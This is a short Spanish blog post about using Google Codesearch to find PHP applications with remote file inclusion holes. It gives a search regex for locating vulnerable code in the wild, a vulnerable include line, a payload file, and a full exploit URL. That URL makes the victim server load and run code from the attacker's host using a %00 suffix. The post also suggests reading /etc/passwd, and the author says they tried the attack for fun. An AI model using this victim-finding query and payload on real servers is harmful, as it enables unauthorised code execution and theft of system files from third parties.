Sergio Álvarez (xergio)

El otro día en el trabajo probamos Jordi y yo Google Codesearch. Esta es una herramienta diseñada para programadores, para que encontremos cosas en el código fuente de los archivos de aplicaciones indexados por Google. Aprovechando que lo comentan en Dirson también y preguntan por otras curiosidades que hayamos encontrado... ahí va una que incluso nosotros probamos.

Si usamos la siguiente búsqueda:

(include|require)(_once)?\ ?\(?\ ?\$_POST

O cambiando POST por GET, nos saldrán un puñado de aplicaciones que hacen un include "a pelo" de lo que le llega por URL o POST data. Algunos direis "bah, si luego incluye un archivo de su servidor...", pues da igual, se puede evitar eso si se usa Apache :P

Es muy sencillo, la solución la tiene la wikipedia. Su por ejemplo la víctima tiene lo siguiente...

include($_GET['seccion'] . '/un_archivo.php');

... nosotros solo tendremos que crear un archivo .txt con contenido PHP que será ejecutado luego en el servidor de la víctima. Yo probé lo siguiente:

<?php phpinfo(); ?>

Eso solamente muesta la información del PHP del servidor de la víctima. Colgamos eso de nuestro servidor o un equipo accesible desde la red y nosvamos al navegador:

http://dirección.de.la.victima.com/archivo_vulnerable.php ?seccion=http://nuestra.dirección.com/archivo.txt%00

Es importante la terminación %00, es la clave de esto.

Eso "incluirá" nuestro código, y lo ejecutará directamente... imaginaros que ne vez de un phpinfo(); lo que hago es mandar un "cat /etc/passwd" :P

En fin... estuvo divertido el experimento, nos llevó apenas 10 minutillos y aprendimos algo muy importante :D